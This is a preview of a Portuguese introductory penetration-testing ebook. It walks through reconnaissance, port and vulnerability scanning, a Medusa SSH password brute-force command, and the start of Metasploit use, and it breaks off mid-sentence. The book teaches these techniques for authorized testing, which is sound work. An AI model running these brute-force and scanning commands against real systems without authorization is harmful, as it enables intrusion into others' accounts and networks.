Baixe o app para aproveitar ainda mais
Prévia do material em texto
Introdução aos Testes de Invasão Técnicas de ataque para melhorar suas defesas Fabrício Bueno 2016 B928u Bueno, Fabrício. Introdução aos Testes de Invasão: Técnicas de ataque para melhorar suas defesas / Fabrício Bueno. – Tubarão, SC, 2016. 153p. : il. Inclui referências. 1. Hacker - Teste de invasão. I. Título CDU 004.056.53 Sobre o Autor Fabrício Bueno é graduado em Ciência da Computação pela Pontifícia Universidade Católica de Goiás e mestre em Engenharia da Computação pela Universidade Federal de Goiás. Tem experiência profissional em diversas instituições: SERPRO, Agência Goiana de Administração e Negócios Públicos, Pontifícia Universidade Católica de Goiás, Universidade Federal de Goiás, Universidade Federal da Fronteira Sul e Instituto Federal de Santa Catarina (instituição onde atua como professor de Informática). É autor dos livros técnicos “Otimização Gerencial em Excel” e “Estatística para Processos Produtivos” pela editora VisualBooks, e dos livros Estaticópolis: um jeito novo de aprender Estatística, Estatística Básica para Processos Produtivos, Ubuntu em Linha de Comando, Introdução aos Testes de Invasão, Design de Logomarcas com Inkscape e Tratamento de Imagens com Gimp pela Amazon. É também autor das obras de ficção Estações Marítimas: O Retorno ao Continente, O Olho e Outros Contos Insólitos, Gonecity e Outrora e outros contos insólitos pela Amazon. Contatos com o autor podem ser feitos por meio de seu e-mail: fbbsantos@gmail.com Como este livro está organizado Este livro tem como objetivo ser um texto introdutório a hacking e testes de invasão. Senti a necessidade de escrever este livro quando comecei a estudar segurança da informação. Embora os livros indicados nas referências sejam de grande qualidade e bastante didáticos, às vezes podem ser relativamente difíceis para um iniciante sem uma boa base em Computação. Diante disso, tentei apresentar de forma bastante básica as técnicas e ferramentas utilizadas, deixando referências tanto para textos mais avançados quanto para textos que possam preencher lacunas de conhecimentos necessários para entender e efetuar testes de invasão. Uma vez que o livro é voltado para para interessados em se iniciar em hacking e testes de invasão, não é necessária experiência anterior. Porém é importante que o leitor tenha um domínio básico de Linux, preferencialmente da distribuição Ubuntu (neste ponto posso inclusive recomendar meu livro Ubuntu em Linha de Comando: Operação e Administração Eficiente do Ubuntu Linux), conhecimentos de básicos de redes de computadores. Promover um conteúdo de hacking e testes de invasão vai ao encontro da necessidade de se conhecer as técnicas de invasão para se adotar medidas de prevenção à invasão. Em outras palavras: para se defender é preciso http://www.amazon.com.br/Ubuntu-Linha-Comando-Administra��o-Eficiente-ebook/dp/B00SFUC3DE/ref=sr_1_2?ie=UTF8&qid=1437502813&sr=8-2&keywords=fabricio+bueno conhecer as técnicas e ferramentas de ataque, ou seja, segurança ofensiva (ENGEBRETSON, 2014). Não recomendo o uso do conteúdo deste livro para fins ilegais ou para causar prejuízos a terceiros. Crimes virtuais possuem consequências bastante sérias, portanto, use este conhecimento apenas para apenas para o bem. Sumário Introdução Coleta de Informações Clonagem de Sites Diretivas Google Obtendo Endereços de e-mail Whois e NetCraft Nslookup Escaneando Portas Abertas e Serviços Ping Escaneando Portas Escaneando Vulnerabilidades Explorando Vulnerabilidades Acessando serviços remotos Utilizando um Framework Cracking de Senhas Sniffing de Tráfego de Rede Conclusão Referências Bibliográficas Livros Publicados na Amazon Introdução Testes de invasão são atos éticos e legais (desde que contem com autorização do proprietário do sistema alvo) de explorar falhas de segurança em sistemas de computadores com o objetivo de saná-las. São simulações de ataques reais para avaliar os riscos potenciais de falhas de segurança. Ao fim de cada teste bem sucedido, tem-se a possibilidade de propor melhorias e correções que evitem futuros ataques e invasões, tornando os sistemas mais seguros. Segundo Engebretson (2014), a segurança ofensiva tem sido cada vez mais adotada por empresas e governos. Portanto, pode-se considerar que há um mercado crescente na área de segurança não só no que se refere a testes de invasão (conteúdo principal deste livro), mas também na correção de falhas e vulnerabilidades (problemas que podem ser explorados por um invasor (HOGLUND & MACGRAW, 2006)), avaliações de risco, adoção de políticas de segurança e recuperação de desastres. Para realizar testes de invasão há uma série de ferramentas de fácil instalação e utilização disponíveis. As distribuições Kali e Blacktrack do Linux já trazem consigo várias das ferramentas que utilizaremos neste livro, porém a instalação das mesmas no Ubuntu (distribuição utilizada neste livro) é bem simples e serão dadas instruções a cada capítulo. Ao executar os testes de invasão apresentados neste livro é necessário ter um computador alvo destinado unicamente a este fim. Portanto, não é recomendável utilizar como alvo um computador de terceiros, pois além de poder causar danos durante os testes, invadir um computador de terceiros pode ter sérias consequências legais. Caso não possua um computador destinado a este fim, pode-se utilizar máquinas virtuais. Particularmente, recomendo a VirtualBox. Mais informações serão apresentadas ao longo do livro. Segundo Weidman (2014), um teste de invasão possui as seguintes fases: Preparação: envolve uma conversa com o cliente a respeito dos objetivos do teste de invasão, extensão do teste e outros detalhes particulares a cada caso; Coleta de dados: busca de informações sobre o cliente; Modelagem de ameaças: faz-se o plano de ação e escolha de métodos de ataque; Análise de vulnerabilidades: busca de vulnerabilidades no sistema alvo; Exploração de falhas: tenta-se tirar vantagem das vulnerabilidades descobertas; Geração de relatório: elabora-se um relatório com as descobertas e recomendações de segurança. Levando-se em conta estas fases, e tendo-se em vista o caráter introdutório deste livro, os capítulos foram escritos em uma sequência de passos para um teste de invasão. Basicamente a sequência apresentada neste texto consiste em: Reconhecimento: quando são identificadas informações sobre o alvo (IP, sistema operacional, servidor web e outros serviços, contas de e- mail, etc); Escaneamento (ou scanning): quando são procuradas portas abertas e vulnerabilidades; Exploração de falhas: quando de fato ocorre a invasão. Em algumas situações estes passos podem se repetir de forma cíclica. Por exemplo: em algumas situações, para chegar a um alvo principal, pode ser necessário invadir alguns alvos secundários. Embora este livro sugira uma sequência de passos para um teste de invasão, à medida que obtiver experiência neste processo você desenvolverá sua própria metodologia e definirá quais passos irá adotar e como irá executá-los. Coleta de Informações Um teste de invasão envolve uma série de ferramentas e passos que se complementam. Portanto, é necessário um conhecimento amplo, mas não necessariamente aprofundado, para a construção de um plano de teste de invasão. O primeiro passo para um plano é a coleta de informações sobre o sistema sistema alvo. Neste momento não ocorre um ataque de forma ativa. Mas sem esta fase, de nada adiantarão as ferramentas mais poderosas à sua disposição. Quanto mais dados dispuser sobre um determinado alvo, maiores as chances de sucesso no teste de invasão. Esta fase não envolve propriamente o uso de ferramentas automatizadas. Na verdade a coleta de dados tem um caráter menos técnico que as demais etapas. Segundo Weidman (2014), podemos aprender bastante sobre um alvo e sua infraestrutura antesde enviar um pacote sequer. A primeira coisa a se fazer é reunir o máximo de informações sobre o alvo e criar uma lista de IPs ou URLs (Uniform Resource Locators – localizadores padrão de recursos) que possam ser atacados. Nas próximas seções analisaremos ferramentas para clonagem de sites (os sites de um sistema alvo costumam guardar informações relevantes), utilizar diretivas do Google para coleta de informações, obter Endereços de e-mail e utilizar as ferramentas Whois, NetCraft e Nslookup. Clonagem de Sites Devemos analisar detalhadamente o site do alvo. Para tanto, uma ferramenta de clonagem de sites pode ser bastante útil. Utilizaremos a ferramenta HTTrack. Trata-se de um utilitário gratuito que cria uma cópia offline idêntica ao site alvo (incluindo páginas, links, figuras e código do site). É importante que esta análise ocorra offline, caso contrário seus sucessivos acessos ao site alvo serão rastreados e identificados, ou seja, serão deixadas “impressões digitais” para trás. Para instalar o HTTrack, basta digitar o comando abaixo. apt-get install httrack Para inicializar o software digite: httrack Algumas informações serão solicitadas. A primeira delas é o nome do projeto. Em seguida é solicitado o caminho padrão (base path). A menos que queira alterá-lo, pode teclar Enter. Em seguida, forneça a URL do site que deseja clonar. A seguir podemos escolher 5 ações possíveis. Neste momento, a mais indicada é a primeira Mirror Web Site (espelhar site da web). Para as próximas perguntas, apenas tecle Enter para manter a resposta padrão. Porém na última pergunta Ready to launch the mirror (Y/N) (pronto para lançar o espelhamento), tecle Y. Esta operação pode durar apenas alguns minutos ou várias horas, dependendo do tamanho do site alvo. Só uma observação digna de nota: clonar um site é uma atividade de fácil rastreamento, e não é considerada inofensiva, pelo contrário, é tida como bastante ofensiva. Portanto, cabe aqui reforçar que um teste de invasão deve ser autorizado pelo cliente. Quando a clonagem do site for concluída, o software apresentará a mensagem “Done. Thanks for unsing HTTrack” (“Pronto! Obrigado por usar o HTTrack”). Se você não alterou o caminho padrão, o site clonado estará no diretório /home/<nome_do_usuario>/websites. Caso esteja utilizando o Linux Kali, o site estará no diretório /root/websites. Utilizando o navegador de sua preferência, digite na barra de URL o endereço do site clonado, com base no caminho apresentado no parágrafo anterior. Navegue pelo site observando todos os detalhes possíveis. Será possível, a partir desta análise, conhecer algumas tecnologias utilizadas pelo site alvo, e-mails, sites parceiros, e diversas outras informações, bem como ter uma noção de sua cultura organizacional. O HTTrack também pode ser utilizado através de uma interface gráfica. Para instalar a interface gráfica do HTTrack, basta digitar o comando abaixo. apt-get install httraqt Os passos e as informações são praticamente as mesmas utilizada no software em linha de comando, apenas algumas opções extras são oferecidas pelo httraqt. Diretivas Google O Google possui ferramentas tão eficientes de pesquisa que torna possível a obtenção de informações para a realização de testes de invasão (ENGEBRETSON, 2014). As diretivas de pesquisa do Google permitem utilizar palavras-chave para extrair diversas informações do alvo. Uma diretiva consiste de dois itens separados por dois pontos: Nome da diretiva; Termo a ser pesquisado. A primeira diretiva que usaremos é site. Esta diretiva faz com que o Google retorne somente resultados de um domínio especificado. Exemplo: site:empresaX.com.br email fulano Neste exemplo o Google retornará resultados com o endereço de e-mail de uma pessoa (provavelmente um servidor da empresaX (nome fictício não relacionado a sites existentes até a data de publicação deste livro), que a título de exemplo chamei de fulano) do domínio empresaX.com.br. A próxima diretiva que analisaremos é a intitle. Esta diretiva faz com que o Google retorne como resultado apenas sites que possuam determinadas palavras-chave no título da página web. Exemplo: intitle:index of Este exemplo permite visualizar listas diretórios que tenham sido indexados e disponíveis nos seus respectivos servidores web. Caso se queira pesquisar uma palavra-chave no endereço de um site, ou seja, na url, utilizamos a diretiva inurl. Exemplo: inurl:admin Como resultado será retornada uma série de páginas de login. Uma diretiva bastante interessante é a cache, que exibe apenas as informações extraídas da cache do Google, que contém cópias reduzidas de todos sites sujeitos ao rastreamento dos Google bots. Pesquisar a cache do Google traz algumas vantagens: Não deixa “impressões digitais” no servidor alvo; Permite visualizar páginas e arquivos que tenham sido removidos do site alvo. Exemplo de uso da diretiva cache: cache:empresaX.com.br Esta pesquisa retornará a versão em cache do site da empresaX. A diretiva filetype permite que sejam realizadas pesquisas baseadas em extensões de arquivos. Exemplo: filetype:config apache Neste exemplo serão retornados todos arquivos com extensão .config relacionados ao Apache (servidor web livre). Pode-se utilizar qualquer tipo de extensão: .txt, .doc, .odt, .pdf, .ppt, .xls, .ods, e diversos outros. Caso se queira procurar por aquivos .config relacionados ao servidor Apache da empresaX, podemos utilizar a pesquisa: cache:config site:www.empresaX.com.br apache Como se trata de uma pesquisa bastante restrita, é possível que não sejam encontrados resultados. Nestes casos, é necessário reformular a pesquisa para que se encontre as informações desejadas. http://www.empresaX.com.br/ Diversas sugestões de diretivas de pesquisa podem ser encontradas no Google Hacking Database, disponível no site: www.exploit-db.com. http://www.exploit-db.com/ Obtendo Endereços de e-mail Endereços de e-mail podem ser bastante úteis em um teste de invasão. Primeiro porque funcionários de uma corporação podem fazer postagens com informações reveladoras aspectos de segurança de sua empresa. Segundo porque normalmente se utiliza o mesmo nome de usuário do endereço de e-mail para login em intranets e em sistemas corporativos. Neste ponto, é interessante utilizarmos uma ferramenta como o The Harvester. Trata-se de um script feito em Python que pesquisa rapidamente endereços de e-mail e subdomínios de um alvo. Este script está disponível no site www.edge-security.com. Após o download e descompactação, entre no diretório do The Harvester e torne o script theHarvester.py executável. Se você tiver alguma dúvida em como realizar estes procedimentos, posso recomendar consulta ao meu livro sobre linux Ubuntu em Linha de Comando, disponível também na Amazon. Para utilizar o The Harvester, deve-se informar o domínio (opção -d), o número limite de resultados (opção -l) e a fonte de dados (opção -b). Exemplo: ./theHarvester.py -d empresaX.com.br -l 10 -b google http://www.edge-security.com/ http://www.amazon.com.br/Ubuntu-Linha-Comando-Administra��o-Eficiente-ebook/dp/B00SFUC3DE/ref=sr_1_1?ie=UTF8&qid=1438604872&sr=8-1&keywords=fabricio+bueno Não se esqueça que este comando deve ser executado no diretório do script. Neste exemplo, será utilizado o Google para pesquisar e-mails de nossa fictícia empresaX. Além do Google, podem ser utilizados outros repositórios públicos como Bing, PGP, LinkedIn, e outros. O exemplo a seguir procura e-mails utilizando todas as fontes de dados. ./theHarvester.py -d bulbsecurity.com -l 10 -b all A figura a seguir exibe o resultado deste comando, com algumas informações propositalmente omitidas. A seção Hosts Found é bem mais extensa do que a apresentada na figura. Whois e NetCraft O comando whois permite acessar diversas informações do alvo:Endereço IP e nome dos servidores DNS; Domínio; Proprietário; CNPJ; Endereço; Telefone; Outras. Para utilizar o comando whois, basta fornecer o endereço do alvo. whois empresaX.com.br Para um teste de invasão, um dos dados mais relevantes são os endereços IP e nomes dos servidores DNS. Em algumas situações pode ser exibido apenas o nome do servidor DNS. Neste caso pode-se utilizar o comando host para obter o endereço IP. Exemplo: host empresaX.com.br Embora esteja incluído no sistema operacional Linux, o serviço Whois também está disponível no site www.whois.net. De forma complementar ao Whois, o site www.netcraft.com nos fornece uma série informações. Basta digitar o nome do alvo no campo What’s that site running? (o que esse site está executando). Repetindo o exemplo apresentado por Weidman (2014), vamos fazer uma consulta do portal www.bulbsecurity.com. Caso seja digitada apenas a palavra chave bulbsecurity, o resultado será uma lista de sites que contenham as palavras usadas na pesquisa. Nesta lista são exibidos links para relatórios dos sites (Site Report). Clique em um destes links e um relatório detalhado será apresentado. Caso o endereço completo da URL tenha sido digitado, o relatório será exibido diretamente. A seguir são exibidas informações das seções Background e Network do relatório. http://www.whois.net/ http://www.netcraft.com/ http://www.bulbsecurity.com/ Nestas seções pode-se verificar algumas informações da empresa, inclusive o primeiro acesso do site (2012). Nas informações de rede estão disponíveis o endereço IP, o nome do servidor, o e-mail do administrador do DNS, e diversas outras informações. Na figura a seguir são exibidas informações da seção Hosting History. Note que, além do IP, informações sobre o sistema operacional e o servidor web são exibidas. Este relatório possui diversas outras seções com importantes informações sobre segurança do sistema alvo. Não convém neste texto introdutório analisarmos todas, mas recomendo que o leitor busque compreendê-las progressivamente. Resumindo, além das informações que podem ser obtidas pelo Whois, este relatório exibe o sistema operacional e o servidor web utilizado pelo alvo, além de tecnologias web suportadas pelo servidor. Nesta subseção o termo “servidor DNS” foi citado algumas vezes, mas não foi explicada a importância deste servidor em um teste de invasão. Vamos relembrar o que é DNS: Domain Name System (Servidor de Nome de Domínio). É o serviço responsável pela tradução de nomes de domínio em endereços IP. Um servidor DNS tem registrado o IP e nome de cada computador em sua rede. Portanto, já temos motivos suficientes para dar grande importância a um servidor DNS, que será o assunto principal nas próximas subseções. Nslookup O nslookup é um comando usado em consultas a servidores DNS. Este comando permite obter informação de hosts registrados no servidor. Neste exemplo, iremos utilizar o DNS público do Google (não usarei aqui a empresaX pois, como se trata de um exemplo fictício, não teria resultados para apresentar). nslookup 8.8.8.8 São retornadas as seguintes informações. Server: 127.0.1.1 Address: 127.0.1.1#53 Non-authoritative answer: 8.8.8.8.in-addr.arpa name=google-public-dns-a.google.com. As informações estão relacionadas, respectivamente, ao IP e registro do servidor. Alguns endereços possuem diversos servidores DNS. Por exemplo, ao digitar nslookup google.com uma lista de servidores será exibida. Caso deseje obter informações do servidor de e-mail basta incluir a opção -query=mx. MX se referem ao termo Mail Exchange (Troca de correio). Neste exemplo, consultaremos o nome de servidor de e-mail do site Ubuntu.com. nslookup -query=mx ubuntu.com As informações retornadas são: Server: 127.0.1.1 Address: 127.0.1.1#53 Non-authoritative answer: ubuntu.com mail exchanger= 10 mx.canonical.com. O número logo antes do nome do servidor de e-mail é o grau de preferência do servidor. Como a Canonical apresenta apenas um servidor, esta informação não é tão relevante. Informações mais detalhadas sobre um domínio podem ser obtidas com a opção -query=soa. Para o comando nslookup -query=soa ubuntu.com, temos as informações: Server: 127.0.1.1 Address: 127.0.1.1#53 Non-authoritative answer: ubuntu.com origin = ns1.canonical.com mail addr = hostmaster.canonical.com serial = 2015080601 refresh = 10800 retry = 3600 expire = 604800 minimum = 3600 São exibidos: Origin: Informação oficial sobre o domínio; Mail Adress: Endereço de e-mail do administrador de domínio (hostmaster@canonical.com) Serial: Número de série do domínio, uma espécie de sistema de revisão de numeração. A convenção padrão é usar o “YYYYMMYYNN” formato, neste caso 2015/08/06-01. Os últimos dois dígitos referem-se ao número de edições no domínio no mesmo dia; Refresh: especifica, em segundos, quando o DNS secundário vai sondar o servidor de DNS primário para verificar se o número de série foi incrementado. Se houve incremento, o servidor secundário vai fazer um novo pedido para copiar o novo arquivo de zona; Repeat: especifica o intervalo para reconectar com o DNS primário; Expire: especifica o tempo que o DNS secundário vai manter o arquivo de zona em cache como válida; Minimum: especifica o tempo que o DNS secundário deve armazenar em cache o arquivo de zona. Caso queira visualizar em uma única consulta todos os registros mailto:hostmaster@canonical.com disponíveis, basta utilizar a opção -query=any. É importante organizar os resultados obtidos catalogando os dados coletados. Estas informações serão bastante úteis nos próximos passos. Escaneando Portas Abertas e Serviços Após o processo de coleta de informações, você deve ter conhecer relativamente bem seu alvo e deve possuir um conjunto de endereços IP. Nesta seção, a partir das informações coletadas, faremos uma busca por portas abertas e seus respectivos serviços. Mas o que seria uma porta? As portas consistem em conexões de dados que permitem que um computador troque dados com outros computadores, softwares e dispositivos (ENGEBRETSON, 2014). Em outras palavras, como o próprio nome já diz, portas são maneiras de “entrar e sair” de um computador. A seguir são citadas algumas portas e os serviços relacionados. Porta 20: transferência de dados FTP; Porta 21: controle de transferência FTP; Porta 22: SSH; Porta 23: Telnet; Porta 25: SMTP; Porta 53: DNS; Porta 80: HTTP; Porta 443: HTTPS. Evidentemente há muito mais portas além das citadas. A partir das portas existentes é possível buscar pontos de vulnerabilidade em um alvo. Uma vez identificada uma vulnerabilidade, deve-se analisar o nível da mesma. Em outras palavras, deve-se verificar as oportunidades que esta vulnerabilidade apresenta. Algumas podem ser bastante limitadas, enquanto outras podem permitir um controle total de um alvo. Nas próximas subseções serão apresentadas ferramentas de escaneamento. Novamente, por questões éticas e de segurança, sugiro que não as utilize em um alvo real, mas que as execute em computadores testes em uma rede interna ou em máquinas virtuais instaladas em seu próprio computador. Conforme já citado anteriormente, um bom software livre para este fim é o VirtualBox (www.virtualbox.org). http://www.virtualbox.org/ Ping Ping é um utilitário que utiliza protocolo ICMP (Internet Control Message Protocol). Este utilitário envia pacotes solicitando respostas dos computadores ou dispositivos de rede alvos. Nos pacotes de resposta, são enviadas informações sobre o alvo e sobre a rede. Entretanto, mesmo que o alvo seja encontrado e esteja ativo, pode ser que um pacote de resposta não seja enviado. Isto ocorre porque computadores e dispositivos de rede podem ser configurados para não responder a pacotes gerados pelo utilitário Ping. Este utilitário pode ser utilizado através do comando:ping 8.8.8.8 O IP fornecido deve ser o endereço do alvo. O resultado é exibido na figura a seguir (comando executado em Linux). A primeira linha apresenta o endereço do alvo e o tamanho do pacote enviado. Cada uma das linhas seguintes informa que pacotes de resposta foram recebidos com as seguintes informações: O tamanho desses pacotes (64 bytes); Sua ordem de envio (icmp_seq); Tempo de vida do pacote (ttl); Tempo (em milissegundos) entre o envio e recebimento do pacote (time); Na penúltima linha são exibidas algumas estatísticas: número de pacotes enviados, número de pacotes recebidos, porcentagem de perda e tempo total. Em testes de invasão, o Ping pode ser utilizado para descobrir hosts enviando pacotes para diversos endereços. Porém, fazer isto manualmente seria bastante trabalhoso. Portanto, utilizaremos ferramentas chamadas de ping sweepers, que permitem o envio automatizado de pacotes para uma faixa de endereços IP. Neste exemplo utilizaremos o comando fping. Caso não esteja instalado em seu computador basta digitar: apt-get install fping Se você estiver utilizando Windows, será necessário fazer o download do software. Para descobrir os hosts na faixa de IP de 10.0.0.1 a 10.0.0.255, utilize o comando. fping -a -g 10.0.0.1 10.0.0.254>hosts.txt As opções utilizadas, -a e -g, servem respectivamente, para mostrar apenas os hosts ativos no arquivo de saída e para especificar o intervalo de endereços IP que deseja pesquisar. O caractere > ao fim do comando direciona a saída do comando para o arquivo hosts.txt. Este arquivo pode ser aberto em um editor de texto ou simplesmente digitando: cat hosts.txt No arquivo constarão os IPs dos hosts descobertos. Escaneando Portas A partir da lista de alvos descoberta, iniciaremos a busca por portas em cada um dos hosts identificados. Uma vez que encontrarmos uma porta aberta, poderemos obter maiores informações sobre o seu host. Assim como procurar por uma faixa de IPs pode ser bastante trabalhoso se feito manualmente, é pouco prático procurar manualmente por portas abertas, já que há um total de 65.536 portas existentes. Ou seja, um host pode possuir portas de 0 a 65.535 (ENGEBRETSON, 2014). Portanto, uma ferramenta para este processo é fundamental. Iremos utilizar a ferramenta Nmap. Segundo Weidman (2014), o Nmap é um padrão de mercado para o escaneamento de portas. Para instalá-lo, basta digitar: apt-get install nmap Após a instalação, digite o comando: nmap -sT -p- -Pn 10.0.0.102 A opção -sT indica que a busca será um scan TCP Connect (para conhecer mais detalhes sobre este e outros tipos de scan, consulte a documentação do comando nmap). A opção -p- indica que o nmap deve efetuar a busca em todas as portas (caso contrário a busca será efetuada nas 1.000 portas mais comuns). A opção -Pn indica que o nmap não tentará descobrir se o host está ativo utilizando o ping. A seguir é exibido o resultado do comando. Note que há apenas 3 portas abertas no host 10.0.0.102. Starting Nmap 6.40 ( http://nmap.org ) at 2015-08-15 09:16 BRT Nmap scan report for 10.0.0.102 Host is up (0.00030s latency). Not shown: 65532 closed ports PORT STATE SERVICE 139/tcp open netbios-ssn 445/tcp open microsoft-ds 17500/tcp open db-lsp Nmap done: 1 IP address (1 host up) scanned in 2.00 seconds Caso queira fazer uma busca em uma faixa de IPs, basta incluir o último IP da faixa que deseja pesquisar. nmap -sT -p- -Pn 10.0.0.102-254 Conforme dito anteriormente, a opção -sT realiza uma busca em portas TCP. O protocolo TCP é orientado à conexão, ou seja, o emissor e o receptor devem permanecer em sincronia, garantindo a entrega dos pacotes. É também imprescindível realizar buscas em portas UDP. O protocolo UDP não é orientado à conexão. Neste protocolo os pacotes são enviados pelo emissor sem que haja sincronia com o receptor. Em outras palavras, não há garantia que os pacotes cheguem ao receptor. Embora esta pareça ser uma desvantagem do UDP, esta característica torna o UDP bastante útil por gerar menos tráfego em rede, sendo utilizado por serviços como DHCP, DNS, SNMP, DNS e FTP. Para executar uma busca UDP, digite o comando: nmap -sU -Pn 10.0.0.102 A opção -sU determina que a busca seja feita em portas UDP. A opção -p- não será utilizada pois a busca em portas UDP é mais lenta, portanto deixaremos o padrão de busca nas 1.000 portas mais comuns. A seguir é exibido o resultado do comando. Starting Nmap 6.40 ( http://nmap.org ) at 2015-08-15 09:18 BRT Nmap scan report for 10.0.0.102 Host is up (0.000018s latency). Not shown: 995 closed ports PORT STATE SERVICE 68/udp open|filtered dhcpc 137/udp open netbios-ns 138/udp open|filtered netbios-dgm 631/udp open|filtered ipp 5353/udp open|filtered zeroconf Nmap done: 1 IP address (1 host up) scanned in 3.63 seconds A maioria das portas é marcada como open|filtered, isto ocorre porque como não há pacote de resposta no protocolo UDP, não é possível diferenciar uma porta aberta de uma porta sendo filtrada por um firewall. Por falar em firewall, duas boas opções para detectar portas mesmo com a presença de um firewall no alvo são -sX e -sN, que significam, respectivamente, busca Xmas e busca Nula (ENGEBRETSON, 2014). Escaneando Vulnerabilidades Tendo em mãos uma lista de IPs de alvos e suas respectivas portas abertas, devemos passar ao passo seguinte, a busca de vulnerabilidades nessas portas. Primeiro, vamos definir vulnerabilidade: trata-se de um ponto fraco no software que pode ser explorado. Este ponto fraco pode dever-se a uma característica própria software ou a uma configuração específica do mesmo. Neste ponto fica evidente a utilidade dos conteúdo deste livro. A partir do momento em que se é capaz de reconhecer falhas no software ou na configuração do mesmo, pode-se alertar o fornecedor (que corrigirá o problema e lançará uma patch de correção) ou o administrador do sistema (que buscará uma configuração mais segura) sobre vulnerabilidades que ponham em risco servidores e suas respectivas redes. Para explorar vulnerabilidades, utilizaremos o Nessus, um dos escaneadores de vulnerabilidade mais amplamente usados (WEIDMAN, 2014). O banco de dados deste software inclui vulnerabilidades em várias plataformas e protocolos, sendo capaz de detectar diversos problemas conhecidos. O Nessus está disponível no site www.tenable.com. Faça o download da versão Home. Após a instalação (se tiver dúvidas quanto a instalação de pacotes .deb, http://www.tenable.com/ recomendo novamente que consulte o livro Ubuntu em Linha de Comando), para iniciar o Nessus, digite: /etc/init.d/nessusd start Este comando fará com que o Nessus execute em background. Para acessar o Nessus, utilize um navegador e digite na barra de endereços: https://NOME-DO-COMPUTADOR:8834/ ou https://localhost:8834/, ou ainda https://127.0.0.1:8834/. A partir da página que se abrirá, será possível configurar o Nessus, criando uma conta de administrador, registrando o software (será necessário preencher um formulário no site para receber uma chave por e-mail) e instalando os plug-ins (o que ocorrerá automaticamente após o registro). Após a instalação, entre com o usuário e senha. Crie um Scan clicando em New Scan. Sugiro que comece com um template de Scan básico chamado Basic Network Scan. Forneça um nome e descrição para este Scan, um ou mais alvos, e defina se irá pesquisar pelas portas mais comuns ou todas as portas. A figura abaixo exibe a tela de configuração geral de um Scan Básico. No menu Discovery, é possível definir se o Scan ocorrerá nas portas mais comuns ou em todas elas. http://www.amazon.com.br/Ubuntu-Linha-Comando-Administra��o-Eficiente-ebook/dp/B00SFUC3DE/ref=sr_1_1?ie=UTF8&qid=1438604872&sr=8-1&keywords=fabricio+bueno https://localhost:8834/ https://localhost:8834/ Após salvar o Scan, caso tenha desmarcadoa opção Launch this scan immediately (lançar este scan imediatament), o scan será iniciado. Quando o scan terminar, um relatório será exibido com as vulnerabilidades descobertas, seus níveis (dê especial atenção aos níveis altos e críticos), descrição das vulnerabilidades e possíveis soluções. Com as informações obtidas até aqui, já podemos iniciar tentativas de ataque a um sistema em um teste de invasão. Explorando Vulnerabilidades A partir das informações obtidas nos capítulos anteriores, vamos iniciar a exploração de vulnerabilidades (também chamada de exploração de falhas, ou explotation (ENGEBRETSON, 2014)). Nesta etapa tentaremos obter algum nível de controle sobre o sistema alvo. Evidentemente, o objetivo principal é obter acesso de nível de administrador no sistema alvo, entretanto, nem todas a falhas permitem isso. Nas próximas seções analisaremos uma técnica conhecida como “força bruta” para acessar serviços remotos e um framework capaz de explorar vulnerabilidades específicas nos sistemas alvo. Acessando serviços remotos Diversos tipos de serviço possibilitam o acesso remoto. SSH, Telnet e FTP são alguns exemplos. Portanto, se no escaneamento de vulnerabilidades for detectada alguma falha em serviços como estes, já se tem um foco de exploração de vulnerabilidade. O passo seguinte é a utilização de softwares capazes de tentar login utilizando uma vasta lista de combinações de senhas e nomes de usuários. Trata-se de uma técnica de “força bruta” realizada por softwares que interagem diretamente com um serviço (Telnet, SSH, etc). No primeiro capítulo vimos como obter informações sobre o alvo. Se naquele momento você coletou alguns logins de usuário, incluir estas informações no software de “força bruta” aumentará o potencial de sucesso desta etapa. O software que usaremos será o Medusa. Para instalá-lo, basta digitar: apt-get install medusa A linha de comando a seguir traz um exemplo do uso do Medusa. medusa -h 10.0.0.105 -u rh -P Downloads/passwords.txt -M ssh Neste exemplo, o alvo escolhido é o host com IP 10.0.0.105, identificado pela opção -h. O nome de usuário é rh (o processo de descobertas de usuários foi apresentado no primeiro capítulo). A opção -P informa ao Medusa que será utilizado um arquivo contendo uma lista de palavras com possíveis senhas, mais conhecido como dicionário de senhas. O arquivo neste exemplo está localizado na pasta Downloads e se chama passwords.txt. Diversos dicionários de senha podem ser encontrados na internet. Por fim é fornecido o nome do serviço a ser atacado, cuja vulnerabilidade pode ser descoberta conforme conteúdo do capítulo anterior. Neste caso, o serviço atacado será o ssh. Como o dicionário de senhas possui mais de dois milhões de palavras, exibir todo o processo de busca pela senha seria inviável neste texto. Portanto, para este exemplo, alterei o arquivo e incluí nas primeiras linhas a sequência de palavras: sistema, sistema1, sistema2, sistema12, sistema3, sistema123. Esta última palavra é a senha do usuário rh. A figura a seguir exibe o resultado do comando. A cada linha é informada senha testada, e na última linha consta a mensagem “Account Found” (conta encontrada). Ao fim desta linha constam a senha e a mensagem “Success”. Parabéns, você realizou a primeira invasão, partindo da coleta de informações (quando descobriu o IP do computador e uma conta de usuário), passando pela busca portas abertas, busca de vulnerabilidades e, finalmente, explorando uma vulnerabilidade. Acredito que foi bastante gratificante ter chegado até aqui. Utilizando um Framework Nesta seção utilizaremos o framework Metasploit, que contém ferramentas com diversas funções, sendo flexível e eficiente para exploração de falhas. Segundo Weidman (2014), esta ferramenta é um padrão de mercado para os profissionais de segurança em testes de invasão. O Metasploit possui uma arquitetura modular e flexível, é intuitivo e fácil de usar. Esta ferramenta possui uma grande variedade de payloads (funcionalidades ou mudanças de comportamento que se deseja induzir no host alvo, como abertura de backdoors, criação de usuários e instalação de softwares) implementados e está em constante atualização. Portanto, o uso desta ferramenta poupa o profissional de segurança de implementar programas para testar falhas de segurança (a estes programas damos o nome de exploits). O Metasploit pode ser baixado do site www.metasploit.com. Após a instalação, para iniciar o software, digite: msfconsole Ao ser iniciado o Metasploit apresenta uma tela de boas vindas e o prompt msf>, conforme exibido na figura a seguir. http://www.metasploit.com/ A cada vez que o software é inicializado, uma nova imagem de apresentação é exibida. Portanto não se preocupe se a imagem que obtiver for diferente desta. Nesta figura podemos notar que a versão utilizada, 4.11.4, possui 1470 exploits e 432 payloads. Evidentemente este número tende a crescer à medida que o software é atualizado. Para ter acesso a lista de comandos disponíveis no Metasploit, digite help. A figura a seguir exibe parte dos comandos listados. Pode-se também ver informações mais detalhadas sobre um comando específico: help <nome do comando> Para utilizar este software, é necessário definir um alvo, um exploit (bloco de código que explora uma vulnerabilidade) e um payload. Com base nas vulnerabilidades descobertas pelo Nessus ou outro software similar, pode-se pesquisar pelos respectivos exploits disponíveis no Metaploit. Por exemplo, uma vulnerabilidade crítica encontrada pelo Nessus em uma versão do Windows é a de código MS09-001. O Nessus dá informações mais detalhadas sobre esta vulnerabilidade e a descrição do exploit é fornecida pelo Metasploit através do comando: search ms09-001 Como resultados 